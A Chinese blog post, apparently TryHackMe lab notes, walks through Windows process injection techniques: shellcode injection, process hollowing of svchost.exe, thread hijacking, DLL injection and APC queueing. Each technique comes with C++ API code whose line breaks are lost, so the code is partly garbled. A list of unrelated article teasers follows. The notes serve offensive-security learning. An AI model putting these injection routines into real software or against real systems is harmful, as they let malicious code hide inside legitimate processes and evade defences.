当前位置: 首页 > article >正文

tryhackme——Abusing Windows Internals(进程注入)

文章目录

  • 一、Abusing Processes
  • 二、进程镂空
  • 三、线程劫持
  • 四、DLL注入
  • 五、Memory Execution Alternatives

一、Abusing Processes

操作系统上运行的应用程序可以包含一个或多个进程,进程表示正在执行的程序。进程包含许多其他子组件,并且直接与内存或虚拟内存交互,下表描述了进程的每个关键组件及其用途。

Process ComponentPurpose
私有虚拟地址空间进程分配的虚拟内存地址
可执行程序存储在虚拟地址空间中的代码和数据
打开句柄(open handle)定义进程可访问的系统资源句柄
安全上下文访问令牌定义用户、安全组、权限和其他安全信息
进程 ID进程的唯一数字标识符
线程进程中计划执行的部分

进程注入指通过合法功能或组件将恶意代码注入进程。下面将重点介绍以下四种不同类型的进程注入。

进程注入类型功能
Process Hollowing(进程镂空创建一个目标进程(通常是合法进程,如svchost.exe)并将其主模块(如exe映像)从内存中“挖空”(替换为恶意代码)。
Thread Execution Hijacking(线程执行劫持)挂起目标进程的某个线程,修改其上下文(如指令指针EIP/RIP)指向注入的恶意代码,恢复线程后执行恶意逻辑。
Dynamic-link Library Injection(DLL注入)将恶意DLL加载到目标进程内存中,并通过远程线程(如LoadLibrary调用)或修改导入表使其执行。
Portable Executable Injection(PE注入)将恶意可执行文件(PE)的映像直接写入目标进程内存,并手动执行(无需通过LoadLibrary)。

进程注入采用Shellcode注入的形式,可以分为四个步骤:

  • 打开一个拥有所有访问权限的目标进程。
  • 为Shellcode分配目标进程内存。
  • 将Shellcode写入目标进程中已分配的内存。
  • 使用远程线程执行Shellcode。

上述步骤也可以图形化地分解,以描述Windows API调用如何与进程内存交互。
在这里插入图片描述

实现一个基本shellcode注入器的基本步骤如下:

1、通过OpenProcess获取目标进程的句柄(handle);

processHandle = OpenProcess(PROCESS_ALL_ACCESS, // Defines access rightsFALSE, // Target handle will not be inheretedDWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

2、使用VirtualAllocEx在目标进程中分配内存 ;

remoteBuffer = VirtualAllocEx(processHandle, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

3、使用WriteProcessMemory在目标内存中写入Shellcode;

WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);

4、使用CreateRemoteThread执行Shellcode;

remoteThread = CreateRemoteThread(processHandle, // Opened target processNULL, 0, // Default size of the stack(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the threadNULL, 0, // Ran immediately after creationNULL
);

二、进程镂空

Process Hollowing是进程注入的一种方法,能够将整个恶意文件注入进程,具体则是hollowing或取消进程映射,并将特定的 PE(可移植可执行文件)数据和段注入进程。其大致可分为六个步骤:

  1. 创建一个处于挂起状态的目标进程;
  2. 打开恶意映像;
  3. 从进程内存中取消合法代码的映射;
  4. 为恶意代码分配内存位置,并将每个段写入地址空间;
  5. 设置恶意代码的入口点;
  6. 使目标进程退出挂起状态。

该过程可用下图表示:
在这里插入图片描述
实现Process Hollowing的基本步骤如下:

1、启动一个合法进程(如svchost.exe),但主线程处于挂起状态,此时进程内存已初始化但未执行代码。

LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointerif (CreateProcessA((LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to executeNULL,NULL,NULL,TRUE, // Handles are inherited from the calling processCREATE_SUSPENDED, // New process is suspendedNULL,NULL,target_si, // pointer to startup infotarget_pi) == 0) { // pointer to process informationcout << "[!] Failed to create Target process. Last Error: " << GetLastError();return 1;

2、使用CreateFileA获取恶意映像的句柄。

HANDLE hMaliciousCode = CreateFileA((LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtainGENERIC_READ, // Read-only accessFILE_SHARE_READ, // Read-only share modeNULL,OPEN_EXISTING, // Instructed to open a file or device if it existsNULL,NULL
);

3、一旦获取到恶意映像的句柄,就必须使用VirtualAlloc为恶意文件分配本地内存,GetFileSize函数也用于检索恶意映像所需内存大小。

DWORD maliciousFileSize = GetFileSize(hMaliciousCode, // Handle of malicious image0 // Returns no error
);PVOID pMaliciousImage = VirtualAlloc(NULL,maliciousFileSize, // File size of malicious image0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x04 // Enables read/write access (PAGE_READWRITE)
);

4、写入恶意文件

DWORD numberOfBytesRead; // Stores number of bytes readif (!ReadFile(hMaliciousCode, // Handle of malicious imagepMaliciousImage, // Allocated region of memorymaliciousFileSize, // File size of malicious image&numberOfBytesRead, // Number of bytes readNULL)) {cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;TerminateProcess(target_pi->hProcess, 0);return 1;
}CloseHandle(hMaliciousCode);

5、通过线程上下文获取PEB地址,进而读取原始EXE的基址。

CPU 寄存器 EAX(入口点)和 EBX(PEB 位置)包含我们需要获取的信息;这些信息可以通过使用GetThreadContext找到。找到这两个寄存器后,使用ReadProcessMemory从 EBX 获取基址,并通过检查 PEB 获得偏移量 (0x8)。

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to store retrieved context
); // Obtains the current thread contextPVOID pTargetImageBaseAddress; 
ReadProcessMemory(target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure(PVOID)(c.Ebx + 8), // Pointer to the base address&pTargetImageBaseAddress, // Store target base address sizeof(PVOID), // Bytes to read 0 // Number of bytes out
);

6、清空目标进程的原始代码/数据,形成“空洞”。可以使用从ntdll.dll导入的ZwUnmapViewOfSection来释放目标进程的内存

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, // Handle of ntdll"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdllDWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress // Base address of the process
);

7、在Hollowed进程中为恶意进程分配内存。

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanewDWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structurePVOID pHollowAddress = VirtualAllocEx(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processsizeOfMaliciousImage, // Byte size obtained from optional header0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

8、一旦分配了内存,将恶意PE头写入内存;

if (!WriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processpMaliciousImage, // Local memory where the malicious file residespNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers NULL
)) {cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

9、写入恶意进程的各节区;

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE dataPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section headerWriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current sectionpSectionHeader->SizeOfRawData, // Byte size of current sectionNULL);
}

10、使用SetThreadContext将EAX更改为指向恶意入口点;

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional headerSetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to the stored context structure
);

11、使用ResumeThread将进程从挂起状态中唤醒。

ResumeThread(target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

三、线程劫持

线程劫持可分为10个步骤:

  1. 定位并打开要控制的目标进程。
  2. 为恶意代码分配内存区域。
  3. 将恶意代码写入分配的内存。
  4. 识别要劫持的目标线程的线程 ID。
  5. 打开目标线程。
  6. 暂停目标线程。
  7. 获取线程上下文。
  8. 将指令指针更新为恶意代码。
  9. 重写目标线程上下文。
  10. 恢复被劫持的线程。

1、前三个步骤与常规进程注入步骤相同,可参考一下代码:

// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);// 为恶意代码分配内存区域
PVOIF remoteBuffer = VirtualAllocEx(hProcess, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);// 将恶意代码写入分配的内存
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);

2、通过识别线程ID来开始劫持进程线程。为了识别线程ID,我们需要使用三个Windows API调用:CreateToolhelp32Snapshot()Thread32First()Thread32Next()

THREADENTRY32 threadEntry;HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPTHREAD, // Include all processes residing on the system0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshothSnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
);while (Thread32Next( // Obtains the next thread in the snapshotsnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
)) {

3、打开目标线程

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match{HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child threads do not inheret parent thread handlethreadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer);break;}

4、使用SuspendThread挂起目标线程

SuspendThread(hThread);

5、获取线程上下文;

CONTEXT context;
GetThreadContext(hThread, // Handle for the thread &context // Pointer to store the context structure
);

6、劫持目标线程执行流。线程恢复执行时,CPU将从Rip指向的地址(即Shellcode)开始执行,而非原代码逻辑。

context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation

7、更新目标线程上下文;

SetThreadContext(hThread, // Handle for the thread &context // Pointer to the context structure
);

8、重启线程;

ResumeThread(hThread // Handle for the thread
);

四、DLL注入

DLL注入总体可分为5个步骤:

  1. 找到要注入的目标进程。
  2. 打开目标进程。
  3. 为恶意 DLL 分配内存区域。
  4. 将恶意 DLL 写入分配的内存。
  5. 加载并执行恶意 DLL。

1、在 DLL 注入的第一步中,我们必须定位目标进程。可以使用如下三个Windows API函数:CreateToolhelp32Snapshot()Process32First()Process32Next()

DWORD getProcessId(const char *processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPPROCESS, // Include all processes residing on the system0 // Indicates the current process);if (hSnapshot) {PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structureentry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structureif (Process32First( // Obtains the first process in the snapshothSnapshot, // Handle of the snapshot&entry // Pointer to the PROCESSENTRY32 structure)) {do {if (!strcmp( // Compares two strings to determine if the process name matchesentry.szExeFile, // Executable file name of the current process from PROCESSENTRY32processName // Supplied process name)) { return entry.th32ProcessID; // Process ID of matched process}} while (Process32Next( // Obtains the next process in the snapshothSnapshot, // Handle of the snapshot&entry)); // Pointer to the PROCESSENTRY32 structure}}DWORD processId = getProcessId(processName); // Stores the enumerated process ID

2、使用GetModuleHandle、GetProcAddress或OpenProcess打开该进程。

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);

3、使用VirtualAllocEx为恶意 DLL 分配内存。

LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, // Handle for the target processNULL, strlen(dllLibFullPath), // Size of the DLL pathMEM_RESERVE | MEM_COMMIT, // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

4、使用WriteProcessMemory将恶意DLL写入分配的内存位置。

WriteProcessMemory(hProcess, // Handle for the target processdllAllocatedMemory, // Allocated memory regiondllLibFullPath, // Path to the malicious DLLstrlen(dllLibFullPath) + 1, // Byte size of the malicious DLLNULL
);

5、恶意 DLL 被写入内存后,加载并执行它。要加载该 DLL,我们需要使用从kernel32导入的LoadLibrary函数。加载完成后,可以使用CreateRemoteThread函数,以LoadLibrary作为启动函数来执行内存。

LPVOID loadLibrary = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), // Handle of the module containing the call"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, // Handle for the target processNULL, 0, // Default size from the execuatable of the stack(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting functiondllAllocatedMemory, // pointer to the allocated memory region0, // Runs immediately after creationNULL
);

五、Memory Execution Alternatives

shellcode执行技术:

1、调用函数指针(Invoking Function Pointers
void 函数指针是一种非常新颖的内存块执行方法,它完全依赖于类型转换。这种技术只能在本地分配的内存中执行,但不依赖于任何API 调用或其他系统功能。

下面的单行代码是 void 函数指针最常见的形式,但我们可以进一步分解它来解释它的组成部分。
在这里插入图片描述

  • 创建一个函数指针 (void(*)()红色框出
  • 将分配的内存指针或 shellcode 数组强制转换为函数指针 (<function pointer>)addressPointer)黄色框出
  • 调用函数指针执行shellcode();绿色框出

2、异步过程调用(Asynchronous Procedure Calls

异步过程调用 (APC) 是在特定线程上下文中异步执行的函数。APC函数通过 QueueUserAPC排队到线程。排队后,APC函数将触发软件中断,并在下次线程调度时执行该函数。

为了让用户态/用户模式应用程序将APC函数排队,线程必须处于“可警告状态”。可警告状态要求线程等待回调函数,例如WaitForSingleObjectSleep

现在我们了解了什么是 APC 函数,接下来看看它们是如何被恶意利用的!我们将使用VirtualAllocExWriteProcessMemory来分配和写入内存。

QueueUserAPC((PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winntpinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure(ULONG_PTR)NULL);
ResumeThread(pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structureINFINITE // Wait infinitely until alerted
);

3、PE节区操纵(Section Manipulation

核心思想:利用PE文件的节区(如.text、.data)存储恶意代码,通过修改入口点或节区属性实现执行

PE格式定义了 Windows 中可执行文件的结构和格式。为了执行,我们主要关注节,特别是 .data 和 .text 节,此外,表和指向节的指针也常用于执行数据。

要开始使用任何节操作技术,我们需要获取 PE 转储。获取 PE 转储通常是通过将 DLL 或其他恶意文件输入到 xxd 中来实现的。每种方法的核心都是使用数学运算来遍历物理十六进制数据,并将其转换为 PE 数据。一些较为常见的技术包括 RVA 入口点解析、节映射和重定位表解析。

相关文章:

tryhackme——Abusing Windows Internals(进程注入)

文章目录 一、Abusing Processes二、进程镂空三、线程劫持四、DLL注入五、Memory Execution Alternatives 一、Abusing Processes 操作系统上运行的应用程序可以包含一个或多个进程&#xff0c;进程表示正在执行的程序。进程包含许多其他子组件&#xff0c;并且直接与内存或虚…...

【游戏科学】游戏开发中数学算法的核心与应用

一、游戏科学&#xff08;Game Science&#xff09; 涉及大量数学算法和模型&#xff0c;用于实现物理模拟、图形渲染、人工智能、路径规划、碰撞检测等核心功能。 1.1、图形渲染与几何计算 1. 三维变换&#xff08;3D Transformations&#xff09; 矩阵变换&#xff1a; 模…...

【Day44】

DAY 44 预训练模型 知识点回顾&#xff1a; 预训练的概念常见的分类预训练模型图像预训练模型的发展史预训练的策略预训练代码实战&#xff1a;resnet18 作业&#xff1a; 尝试在cifar10对比如下其他的预训练模型&#xff0c;观察差异&#xff0c;尽可能和他人选择的不同尝试通…...

基于 Alpine 定制单功能用途(kiosk)电脑

前言 故事回到 7 年前, 在网上冲浪的时候发现了一篇介绍使用 Ubuntu 打造 kiosk 单功能用途电脑的文章, 挺好玩的, 就翻译了一下并比葫芦画瓢先后用了 CentOS 7, ArchLinux 进行了实现. 历史文章: 翻译 - 使用Ubutnu14.04和Chrome打造单功能用途电脑(大屏展示电脑) 使用CentOS…...

知识图谱系统功能实现,技术解决方案,附源码

基于Java、Neo4j和ElasticSearch构建的医疗知识图谱知识库&#xff0c;是一个融合图数据库技术与搜索引擎的智能化医疗知识管理系统。该系统以Neo4j图数据库为核心&#xff0c;利用其高效的图结构存储能力&#xff0c;将疾病、症状、药品、检查项目、科室等医疗实体抽象为节点&…...

第12节 Node.js 函数

在JavaScript中&#xff0c;一个函数可以作为另一个函数接收一个参数。我们可以先定义一个函数&#xff0c;然后传递&#xff0c;也可以在传递参数的地方直接定义函数。 Node.js中函数的使用与Javascript类似&#xff0c;举例来说&#xff0c;你可以这样做&#xff1a; funct…...

洛谷P12610 ——[CCC 2025 Junior] Donut Shop

题目背景 Score: 15. 题目描述 The owner of a donut shop spends the day baking and selling donuts. Given the events that happen over the course of the day, your job is to determine the number of donuts remaining when the shop closes. 输入格式 The first …...

1. 数据库基础

1.1 什么是数据库 ⭐ mysql 本质是一种网络服务, 是基于 C(mysql) S(mysqld)的 网络服务. 存储数据用文件就可以了&#xff0c;为什么还要弄个数据库&#xff1f;文件保存数据存在以下缺点&#xff1a; 文件的安全性问题。文件不利于数据查询和管理。文件不利于存储海量数据。…...

英伟达288GB HBM4+50P算力

英伟达CEO黄仁勋在COMPUTEX 2025上突然官宣&#xff1a;以暗物质研究先驱Vera Rubin命名的新一代AI芯片即将量产&#xff01;这颗被称作“算力巨兽”的Rubin GPU&#xff0c;不仅搭载288GB HBM4显存和50 Petaflops推理算力&#xff0c;更携三大颠覆性技术直击AI行业痛点。更可怕…...

【Pandas】pandas DataFrame reset_index

Pandas2.2 DataFrame Reindexing selection label manipulation 方法描述DataFrame.add_prefix(prefix[, axis])用于在 DataFrame 的行标签或列标签前添加指定前缀的方法DataFrame.add_suffix(suffix[, axis])用于在 DataFrame 的行标签或列标签后添加指定后缀的方法DataFram…...

综合案例:斗地主

综合案例&#xff1a;斗地主 1.程序概述 这是一个模拟斗地主游戏发牌过程的C语言程序&#xff0c;实现了扑克牌的初始化、洗牌和发牌功能。 2.功能需求 2.1 扑克牌定义 使用结构体 Card 表示一张牌&#xff0c;包含&#xff1a; 花色属性suit&#xff08;0-3表示普通花色♥…...

前端组件推荐 Swiper 轮播与 Lightbox 灯箱组件深度解析

在互联网产品不断迭代升级的今天&#xff0c;用户对于页面交互和视觉效果的要求越来越高。想要快速打造出吸睛又实用的项目&#xff0c;合适的组件必不可少。今天就为大家推荐两款超好用的组件 ——Swiper 轮播组件和 Lightbox 灯箱组件&#xff0c;轻松解决你的展示难题&#…...

解密并下载受DRM保护的MPD(DASH流媒体)加密视频

要解密并下载受DRM保护的MPD&#xff08;DASH流媒体&#xff09;加密视频&#xff0c;需结合技术工具与合法授权。以下是关键方法与步骤&#xff1a; 一、工具与技术要求 Widevine-DL 这是一个开源Python工具&#xff0c;支持下载和解密Widevine DRM保护的MPD内容。它依赖ffmpe…...

数据可视化有哪些步骤?2025高效落地指南

分享大纲 1、科学框架&#xff1a;从数据到洞察落地 2、可视化实战&#xff1a;捷码快速搭建专业大屏 3、关键避坑指南 根据IBM研究&#xff0c;规范的数据可视化流程&#xff0c;可以使得数据可视化搭建效率提升41%。那有标准的数据可视化搭建方法是哪些呢&#xff1f;本文将借…...

Deepfashion2 数据集使用笔记

目录 数据类别: 筛选类别数据: 验证精度筛选前2个类别: 提取类别数据 可视化类别数据: Deepfashion2 的解压码 旋转数据增强 数据类别: 类别含义: Class idx类别名称英文名称0短上衣short sleeve top1长上衣long sleeve top2短外套short sleeve outwear3长外套lo…...

Dify知识库下载小程序

一、Dify配置 1.查看或创建知识库的API 二、下载程序配置 1. 安装依赖resquirements.txt ######requirements.txt##### flask2.3.3 psycopg2-binary2.9.9 requests2.31.0 python-dotenv1.0.0#####安装依赖 pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.…...

匀速旋转动画的终极对决:requestAnimationFrame vs CSS Animation

引言&#xff1a;旋转动画的隐藏陷阱 在现代Web开发中&#xff0c;实现一个流畅的无限旋转动画似乎是个简单任务。但当我深入探究时&#xff0c;发现这个看似基础的需求背后隐藏着性能陷阱、数学精度问题和浏览器渲染机制的深层奥秘。本文将带你从一段常见的requestAnimationF…...

数据库中求最小函数依赖集-最后附解题过程

今天来攻克数据库设计里一个超重要的知识点 —— 最小函数依赖集。对于刚接触数据库的小白来说&#xff0c;这概念可能有点绕&#xff0c;但别担心&#xff0c;咱们一步步拆解&#xff0c;轻松搞定&#x1f4aa;&#xff01; &#xff08;最后fuyou&#xff09; 什么是最小函数…...

嵌入式系统中常用的开源协议

目录 1、GNU通用公共许可证&#xff08;GPL&#xff09; 2、GNU宽松通用公共许可证&#xff08;LGPL&#xff09; 3、MIT许可证 4、Apache许可证2.0 5、BSD许可证 6、如何选择合适的协议 在嵌入式系统开发中&#xff0c;开源软件的使用已成为主流趋势。从物联网设备到汽车…...

MySQL 索引底层原理剖析:B+ 树结构、索引创建维护与性能优化策略全解读

引言 在 MySQL 数据库的世界里&#xff0c;索引是提升查询性能的关键利器。然而&#xff0c;很多开发者虽然知道索引的重要性&#xff0c;但对于索引背后的底层原理却知之甚少。本文将深入 MySQL 索引的底层实现&#xff0c;剖析 B 树的结构特点&#xff0c;以及如何利用这些知…...

系统架构设计论文

disstertation 软考高级-系统架构设计师-论文&#xff1a;论文范围&#xff08;十大知识领域&#xff09;、历年论题、预测论题及论述过程、论文要点、论文模板等。 —— 2025 年 4 月 4 日 甲辰年三月初七 清明 目录 disstertation1、论文范围&#xff08;十大核心领域&#x…...

第二篇:Liunx环境下搭建PaddleOCR识别

第二篇&#xff1a;Liunx环境下搭建Paddleocr识别 一&#xff1a;前言二&#xff1a;安装PaddleOCR三&#xff1a;验证PaddleOCR是否安装成功 一&#xff1a;前言 PaddleOCR作为业界领先的多语言开源OCR工具库&#xff0c;其核心优势在于深度整合了百度自主研发的飞桨PaddlePa…...

图片上传问题解决方案与实践

一、问题描述 在校园二手交易平台中&#xff0c;上传商品图片后出现以下异常情况&#xff1a; 图片访问返回404错误&#xff0c;无法正常加载服务器错误识别文件类型为text/plain图片 URL 路径存在不完整问题 二、原因分析 &#xff08;一&#xff09;静态资源访问配置问题…...

复杂业务场景下 JSON 规范设计:Map<String,Object>快速开发 与 ResponseEntity精细化控制HTTP 的本质区别与应用场景解析

Moudle 1 Json使用示例 在企业开发中&#xff0c;构造 JSON 格式数据的方式需兼顾 可读性、兼容性、安全性和开发效率&#xff0c;以下是几种常用方式及适用场景&#xff1a; 一、直接使用 Map / 对象转换&#xff08;简单场景&#xff09; 通过 键值对集合&#xff08;如 M…...

二叉数-965.单值二叉数-力扣(LeetCode)

一、题目解析 顾名思义&#xff0c;就是二叉树中所存储的值是相同&#xff0c;如果有不同则返回false 二、算法原理 对于二叉树的遍历&#xff0c;递归无疑是最便捷、最简单的方法&#xff0c;本题需要用到递归的思想。 采取前序遍历的方法&#xff0c;即根、左、右。 我们…...

redis集群和哨兵的区别

Redis Sentinel系统监控并确保主从数据库的正常运行&#xff0c;当主数据库故障时自动进行故障迁移。哨兵模式提供高可用性&#xff0c;客户端通过Sentinel获取主服务器地址&#xff0c;简化管理。Redis集群实现数据分布式存储&#xff0c;通过槽分区提高并发量&#xff0c;解决…...

[蓝桥杯]对局匹配

对局匹配 题目描述 小明喜欢在一个围棋网站上找别人在线对弈。这个网站上所有注册用户都有一个积分&#xff0c;代表他的围棋水平。 小明发现网站的自动对局系统在匹配对手时&#xff0c;只会将积分差恰好是 K 的两名用户匹配在一起。如果两人分差小于或大于 KK&#xff0c;…...

BBU 电源市场报告:深入剖析与未来展望​

在当今数字化时代&#xff0c;数据中心的稳定运行至关重要。BBU 电源作为保障数据中心设备在停电或电压下降期间临时电力供应的关键系统&#xff0c;其市场发展备受关注。本文将从市场规模、竞争格局、产品类型、应用领域等多个维度对 BBU 电源市场进行深入分析&#xff0c;并为…...

Redis 持久化机制详解:RDB 与 AOF 的原理、优缺点与最佳实践

目录 前言1. Redis 持久化机制概述2. RDB 持久化机制详解2.1 RDB 的工作原理2.2 RDB 的优点2.3 RDB 的缺点 3. AOF 持久化机制详解3.1 AOF 的工作原理3.2 AOF 的优点3.3 AOF 的缺点 4. RDB 与 AOF 的对比分析5. 持久化机制的组合使用与最佳实践6. 结语 前言 Redis 作为一款高性…...

Hadoop企业级高可用与自愈机制源码深度剖析

Hadoop企业级高可用与自愈机制源码深度剖析 前言 在大数据平台生产环境中&#xff0c;高可用&#xff08;HA&#xff09;与自动化自愈能力直接决定了数据安全与服务稳定性。本文结合源码与实战&#xff0c;深入剖析Hadoop生态中YARN高可用、HDFS自动扩容、故障自愈三大核心机…...